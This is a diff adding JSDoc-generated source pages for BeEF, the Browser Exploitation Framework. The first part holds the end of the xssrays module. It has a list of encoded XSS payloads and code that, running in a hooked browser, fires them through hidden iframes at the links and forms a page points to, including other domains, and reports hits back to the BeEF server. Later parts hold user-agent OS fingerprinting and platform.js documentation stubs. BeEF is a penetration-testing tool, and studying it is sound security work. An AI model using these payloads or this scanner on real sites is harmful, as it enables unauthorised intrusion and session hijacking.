+				  {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
+				  {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
+  				  {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
+  				  {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
+    ],
+    uniqueID: 0,
+    rays: [],
+    stack: [],
+
+    /**
+     * return true is the attack vector can be launched to the current browser type.
+     * @param {array} vector_array_index 
+     */
+    checkBrowser:function(vector_array_index){
+        var result = false;
+        var browser_id = this.vectors[vector_array_index].browser;
+        switch (browser_id){
+        case "ALL":
+            result = true;
+            break;
+        case "FF":
+            if(beef.browser.isFF())result=true;
+            break;
+        case "IE":
+            if(beef.browser.isIE())result=true;
+            break;
+        case "C":
+            if(beef.browser.isC())result=true;
+            break;
+        case "S":
+            if(beef.browser.isS())result=true;
+            break;
+        case "O":
+            if(beef.browser.isO())result=true;
+            break;
+        default : result = false;
+        }
+        beef.debug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
+        return result;
+    },
+
+    /**
+     * main function, where all starts :-)
+     * @param xssraysScanId 
+     * @param hookedBrowserSession 
+     * @param beefUrl 
+     * @param crossDomain 
+     * @param timeout 
+     */
+    startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout) {
+
+        this.xssraysScanId = xssraysScanId;
+        this.hookedBrowserSession = hookedBrowserSession;
+        this.beefRayUrl = beefUrl + '/' + this.handler;
+        beef.debug("Using [" + this.beefRayUrl  + "] handler to contact back BeEF");
+        this.crossDomain = crossDomain;
+        this.cleanUpTimeout = timeout;
+
+        this.scan();
+        beef.debug("Starting scan");
+        this.runJobs();
+    },
+    complete:function() {
+        if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
+            beef.debug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
+            $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
+        } else {
+            this.getNextJob();
+        }
+    },
+    getNextJob:function() {
+        var that = this;
+        beef.debug("getNextJob - this.stack.length [" + this.stack.length + "]");
+        if (this.stack.length > 0) {
+            var func = that.stack.shift();
+            if (func) {
+                that.completed++;
+                func.call(that);
+            }
+        }else{ //nothing else to scan
+            this.complete();
+        }
+    },
+    scan:function() {
+        this.scanLinks();
+        this.scanForms();
+    },
+    scanPaths:function() {
+        this.xss({type:'path'});
+        return this;
+    },
+    scanForms: function() {
+        this.xss({type:'form'});
+        return this;
+    },
+    scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
+        beef.debug("scanLinks, document.links.length [" + document.links.length + "]");
+        for (var i = 0; i < document.links.length; i++) {
+            var url = document.links[i];
+
+            if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
+                beef.debug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
+                    "\n url.pathname => " + url.pathname + "\n" +
+                    "url.search => " + url.search + "\n");
+                this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
+                    search:url.search, type: 'url'});//scan each link & param
+            } else {
+                beef.debug('Scan is not Cross-domain.  URLS\nurl :' + url.hostname.toString());
+                beef.debug('\nlocation :' + location.hostname.toString());
+            }
+        }
+        if (location.search.length > 0) {
+            this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
+        }
+        return this;
+    },
+    xss:function(target) {
+        switch (target.type) {
+            case "url":
+                if (target.search.length > 0) {
+                    target.search = target.search.slice(1);
+                    target.search = target.search.split(/&|&amp;/);
+
+                    if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
+                       var pathname = "/" + target.pathname;
+                    }else{
+                        var pathname = target.pathname;
+                    }
+
+                    var params = {};
+                    for (var i = 0; i < target.search.length; i++) {
+                        target.search[i] = target.search[i].split('=');
+                        params[target.search[i][0]] = target.search[i][1];
+                    }
+                    for (var i = 0; i < this.vectors.length; i++) {
+                        // skip the current vector if it's not compatible with the hooked browser
+                        if (!this.checkBrowser(i)){
+                            beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
+                            continue;
+                        }
+                        if (!this.vectors[i].url) {
+                            continue;
+                        }
+                        if (this.vectors[i].url) {
+                            if (target.port == null || target.port == "") {
+                                beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
+                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
+                            } else {
+                                beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
+                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
+                            }
+                        }
+                        if (this.vectors[i].path) {
+                            if (target.port == null || target.port == "") {
+                                beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
+                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
+                            } else {
+                                beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
+                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
+                            }
+                        }
+                    }
+                }
+                break;
+            case "form":
+                var params = {};
+                var paramsstring = "";
+                for (var i = 0; i < document.forms.length; i++) {
+                    var action = document.forms[i].action || document.location;
+                    var method = document.forms[i].method.toUpperCase() === 'POST' ?
+                        'POST' :
+                        'GET';
+
+                    for (var j = 0; j < document.forms[i].elements.length; j++) {
+                        params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
+                    }
+                    for (var k = 0; k < this.vectors.length; k++) {
+
+                        // skip the current vector if it's not compatible with the hooked browser
+                        if (!this.checkBrowser(k)){
+                            beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
+                            continue;
+                        }
+                        if (!this.vectors[k].form) {
+                            continue;
+                        }
+                        if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
+                            beef.debug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
+                            beef.debug('location :' + this.host(location));
+                            continue;
+                        }
+                        if (this.vectors[k].form) {
+                            if (method === 'GET') {
+                                beef.debug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
+                                this.run(action, method, this.vectors[k], params, true);//params
+                            }
+                            else {
+                                beef.debug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
+                                this.run(action, method, this.vectors[k], params, false);//params
+                            }
+                        }
+                        if (this.vectors[k].path) {
+                            beef.debug("Starting XSS on FORM action URI PATH of [" + action + "], ");
+                            this.run(action, 'GET', this.vectors[k], null, true);//paths
+                        }
+                    }
+                }
+                break;
+        }
+    },
+    host: function(url) {
+        var host = url;
+        host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
+            ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
+            : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
+            ? ''
+            : location.hostname.toString();
+        return host;
+    },
+    fileName: function(url) {
+        return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
+    },
+
+    urlEncode: function(str) {
+        str = str.toString();
+        str = str.replace(/"/g, '%22');
+        str = str.replace(/&/g, '%26');
+        str = str.replace(/\+/g, '%2b');
+        return str;
+    },
+
+    /**
+     * this is the main core function with the detection mechanisms...
+     * @param url 
+     * @param method 
+     * @param vector 
+     * @param params 
+     * @param urlencode 
+     */
+    run: function(url, method, vector, params, urlencode) {
+        this.stack.push(function() {
+
+            //check if the URL end with / . In this case remove the last /, as it will be added later.
+            // this check is needed only when checking for URI path injections
+            if(url[url.length - 1] == "/" && params == null){
+               url = url.substring(0, url.length - 2);
+               beef.debug("Remove last / from url. New url [" + url + "]");
+            }
+
+            beef.net.xssrays.uniqueID++;
+            beef.debug('Processing vector [' + vector.name + "], URL [" + url + "]");
+            var poc = '';
+            var pocurl = url;
+            var exploit = '';
+            var action = url;
+
+
+            beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
+            var ray = this.rays[beef.net.xssrays.uniqueID];
+
+            var paramsPos = 0;
+            if (params != null) {
+                /*
+                 * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
+                 */
+                for (var i in params) {
+                    if (params.hasOwnProperty(i)) {
+
+                        if (!/[?]/.test(url)) {
+                            url += '?';
+                            pocurl += '?';
+                        }
+
+                        poc = vector.input.replace(/XSS/g, "alert(1)");
+                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
+
+                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
+                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
+
+                        beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+                            + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+
+                        exploit = vector.input.replace(/XSS/g, beefCallback);
+
+                        if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
+                            url += i + '=' + exploit + '&';
+                        }else{
+                            url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
+                        }
+
+                        paramsPos++;
+                    }
+                }
+            } else {
+                /*
+                 * ++++++++++ check for XSS in URI path (GET) ++++++++++
+                 */
+                var filename = beef.net.xssrays.fileName(url);
+
+                poc = vector.input.replace(/XSS/g, "alert(1)");
+                pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
+
+
+                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
+                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
+
+                beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+                    + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+
+                exploit = vector.input.replace(/XSS/g, beefCallback);
+
+                //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
+                //TODO: this need to checked and the slash shouldn't be added in this particular case
+                url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
+            }
+            /*
+             * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
+             */
+            if(beef.browser.isIE()){
+                try {
+                    var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
+                } catch (e) {
+                    var iframe = document.createElement('iframe');
+                    iframe.name = 'ray' + Math.random().toString();
+                }
+            }else{
+                var iframe = document.createElement('iframe');
+                iframe.name = 'ray' + Math.random().toString();
+            }
+            iframe.style.display = 'none';
+            iframe.id = 'ray' + beef.net.xssrays.uniqueID;
+            iframe.time = beef.net.xssrays.timestamp();
+
+            if (method === 'GET') {
+                if(beef.browser.isC() || beef.browser.isS()){
+                    var datauri = btoa(url);
+                    iframe.src = "data:text/html;base64," + datauri;
+                }else{
+                    iframe.src = url;
+                }
+                document.body.appendChild(iframe);
+                beef.debug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
+            } else if (method === 'POST') {
+                /*
+                 * ++++++++++ check for XSS in body parameters (POST) ++++++++++
+                 */
+                var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
+                poc = '';
+                pocurl = action + "?";
+                paramsPos = 0;
+
+                beef.debug("Form action [" + action + "]");
+                for (var i in params) {
+                    if (params.hasOwnProperty(i)) {
+
+                        poc = vector.input.replace(/XSS/g, "alert(1)");
+                        poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
+                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
+
+                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
+                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
+
+                        beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+                            + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+
+                        exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
+                        form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
+                        beef.debug("form param[" + i + "] = " + params[i].toString());
+
+                        paramsPos++;
+                    }
+                }
+                form += '<\/form>';
+                document.body.appendChild(iframe);
+                beef.debug("Creating form [" + form + "]");
+                iframe.contentWindow.document.writeln(form);
+                iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
+                beef.debug("Submitting form");
+            }
+
+        });
+    },
+
+    /**
+     * run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
+     */
+    runJobs: function() {
+        var that = this;
+        this.totalConnections = this.stack.length;
+        that.getNextJob();
+        setInterval(function() {
+            var numOfConnections = 0;
+            for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
+                var iframe = document.getElementsByTagName('iframe')[i];
+                numOfConnections++;
+                //beef.debug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
+                if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
+                    try{
+                        if (iframe) {
+                            beef.net.xssrays.complete();
+                            beef.debug("RunJobs cleaning up iFrame [" + iframe.id + "]");
+                            document.body.removeChild(iframe);
+                        }
+                    }catch(e){
+			beef.debug("Exception [" + e.toString() + "] when cleaning iframes.")
+		    }
+                }
+            }
+
+            if (numOfConnections == 0) {
+                clearTimeout(this);
+            }
+
+        }, this.cleanUpTimeout);
+
+        return this;
+    },
+    timestamp: function() {
+        return parseInt(new Date().getTime().toString().substring(0, 10));
+    },
+    escape: function(str) {
+        str = str.toString();
+        str = str.replace(/</g, '&lt;');
+        str = str.replace(/>/g, '&gt;');
+        str = str.replace(/\u0022/g, '&quot;');
+        str = str.replace(/\u0027/g, '&#39;');
+        str = str.replace(/\\/g, '&#92;');
+        return str;
+    }
+
+};
+
+beef.regCmp('beef.net.xssrays');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/os.js.html b/docs/os.js.html new file mode 100644 index 000000000..829ced701 --- /dev/null +++ b/docs/os.js.html @@ -0,0 +1,412 @@ + + + + + JSDoc: Source: os.js + + + + + + + + + + +
+ +

Source: os.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/** @namespace beef.os */
+
+beef.os = {
+
+	ua: navigator.userAgent,
+
+	/**
+	  * Detect default browser (IE only)
+	  * Written by unsticky
+	  * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
+	  * @return {string}
+	  */
+	getDefaultBrowser: function() {
+		var result = "Unknown"
+		try {
+			var mt = document.mimeType;
+			if (mt) {
+				if (mt == "Safari Document")       result = "Safari";
+				if (mt == "Firefox HTML Document") result = "Firefox";
+				if (mt == "Chrome HTML Document")  result = "Chrome";
+				if (mt == "HTML Document")         result = "Internet Explorer";
+				if (mt == "Opera Web Document")    result = "Opera";
+			}
+		} catch (e) {
+			beef.debug("[os] getDefaultBrowser: "+e.message);
+		}
+		return result;
+	},
+	
+	// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
+	/**
+	 * @return {boolean}
+	 */
+	isWin311: function() {
+		return (this.ua.match('(Win16)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinNT4: function() {
+		return (this.ua.match('(Windows NT 4.0)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin95: function() {
+		return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinCE: function() {
+		return (this.ua.match('(Windows CE)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin98: function() {
+		return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinME: function() {
+		return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin2000: function() {
+		return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin2000SP1: function() {
+		return (this.ua.match('Windows NT 5.01 ')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinXP: function() {
+		return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinServer2003: function() {
+		return (this.ua.match('(Windows NT 5.2)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinVista: function() {
+		return (this.ua.match('(Windows NT 6.0)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin7: function() {
+		return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin8: function() {
+		return (this.ua.match('(Windows NT 6.2)')) ? true : false;
+	},	
+	/**
+	 * @return {boolean}
+	 */
+	isWin81: function() {
+		return (this.ua.match('(Windows NT 6.3)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWin10: function() {
+		return (this.ua.match('Windows NT 10.0')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOpenBSD: function() {
+		return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isSunOS: function() {
+		return (this.ua.indexOf('SunOS') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isLinux: function() {
+		return (this.ua.match('(Linux)|(X11)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isMacintosh: function() {
+		return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOsxYosemite: function(){ // TODO
+		return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOsxMavericks: function(){ // TODO
+		return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOsxSnowLeopard: function(){ // TODO
+		return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isOsxLeopard: function(){ // TODO
+		return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWinPhone: function() {
+		return (this.ua.match('(Windows Phone)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isIphone: function() {
+		return (this.ua.indexOf('iPhone') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isIpad: function() {
+		return (this.ua.indexOf('iPad') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isIpod: function() {
+		return (this.ua.indexOf('iPod') != -1) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isNokia: function() {
+		return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isAndroid: function() {
+		return (this.ua.match('Android')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isBlackBerry: function() {
+		return (this.ua.match('BlackBerry')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWebOS: function() {
+		return (this.ua.match('webOS')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isQNX: function() {
+		return (this.ua.match('QNX')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isBeOS: function() {
+		return (this.ua.match('BeOS')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isAros: function() {
+			return (this.ua.match('AROS')) ? true : false;
+	},
+	/**
+	 * @return {boolean}
+	 */
+	isWindows: function() {
+		return (this.ua.match('Windows')) ? true : false;
+	},
+	/**
+	 * @return {string}
+	 */
+	getName: function() {
+		
+		if(this.isWindows()){
+			return 'Windows';
+		}
+
+		if(this.isMacintosh()) {
+			return 'OSX';
+		}
+
+		//Nokia
+		if(this.isNokia()) {
+			if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
+			if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
+			if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
+		}
+
+		// BlackBerry
+		if(this.isBlackBerry()) return 'BlackBerry OS';
+
+		// Android
+		if(this.isAndroid()) return 'Android';
+
+		// SunOS
+		if(this.isSunOS()) return 'SunOS';
+
+		//Linux
+		if(this.isLinux()) return 'Linux';
+
+		//iPhone
+		if (this.isIphone()) return 'iOS';
+		//iPad
+		if (this.isIpad()) return 'iOS';
+		//iPod
+		if (this.isIpod()) return 'iOS';
+		
+		//others
+		if(this.isQNX()) return 'QNX';
+		if(this.isBeOS()) return 'BeOS';
+		if(this.isWebOS()) return 'webOS';
+		if(this.isAros()) return 'AROS';
+		
+		return 'unknown';
+	},
+
+  /**
+    * Get OS architecture.
+    * This may not be the same as the browser arch or CPU arch.
+    * ie, 32bit OS on 64bit hardware
+    */
+  getArch: function() {
+    var arch = 'unknown';
+    try {
+      var arch = platform.os.architecture;
+      if (!!arch)
+        return arch;
+    } catch (e) {}
+
+    return arch;
+  },
+
+  /**
+    * Get OS family
+    */
+  getFamily: function() {
+    var family = 'unknown';
+    try {
+      var family = platform.os.family;
+      if (!!family)
+        return family;
+    } catch (e) {}
+
+    return arch;
+  },
+
+  /**
+    * Get OS name
+	* @return {string}
+    */
+	getVersion: function(){
+		//Windows
+		if(this.isWindows()) {
+			if (this.isWin10())         return '10';
+			if (this.isWin81())         return '8.1';
+			if (this.isWin8())          return '8';
+			if (this.isWin7())          return '7';
+			if (this.isWinVista())      return 'Vista';
+			if (this.isWinXP())         return 'XP';
+			if (this.isWinServer2003()) return 'Server 2003';
+			if (this.isWin2000SP1())    return '2000 SP1';
+			if (this.isWin2000())       return '2000';
+			if (this.isWinME())         return 'Millenium';
+
+			if (this.isWinNT4())        return 'NT 4';
+			if (this.isWinCE())         return 'CE';
+			if (this.isWin95())         return '95';
+			if (this.isWin98())         return '98';
+		}
+
+		// OS X
+		if(this.isMacintosh()) {
+			if (this.isOsxYosemite())        return '10.10';
+			if (this.isOsxMavericks())       return '10.9';
+			if (this.isOsxSnowLeopard())     return '10.8';
+			if (this.isOsxLeopard())         return '10.7';
+		}
+
+		// TODO add Android/iOS version detection
+	}
+};
+
+beef.regCmp('beef.net.os');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/platform.html b/docs/platform.html new file mode 100644 index 000000000..812a5538d --- /dev/null +++ b/docs/platform.html @@ -0,0 +1,1147 @@ + + + + + JSDoc: Namespace: platform + + + + + + + + + + +
+ +

Namespace: platform

+ + + + + + +
+ +
+ +

platform

+ + +
+ +
+
+ + +

Platform.js +Copyright 2014-2018 Benjamin Tan +Copyright 2011-2013 John-David Dalton +Available under MIT license

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) description :string|null

+ + + + +
+

The platform description.

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) layout :string|null

+ + + + +
+

The name of the browser's layout engine.

+

The list of common layout engines include: +"Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit"

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) manufacturer :string|null

+ + + + +
+

The name of the product's manufacturer.

+

The list of manufacturers include: +"Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry", +"Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo", +"Nokia", "Samsung" and "Sony"

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) name :string|null

+ + + + +
+

The name of the browser/environment.

+

The list of common browser names include: +"Chrome", "Electron", "Firefox", "Firefox for iOS", "IE", +"Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk", +"Opera Mini" and "Opera"

+

Mobile versions of some browsers have "Mobile" appended to their name: +eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) os :Object

+ + + + +
+

The name of the operating system.

+
+ + + +
Type:
+
    +
  • + +Object + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) platform :Object

+ + + + +
+

The platform object.

+
+ + + +
Type:
+
    +
  • + +Object + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) prerelease :string|null

+ + + + +
+

The alpha/beta release indicator.

+
+ + + +
Type:
+
    +
  • + +string +| + +null + + +
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) product :string|null

+ + + + +
+

The name of the product hosting the browser.

+

The list of common products include:

+

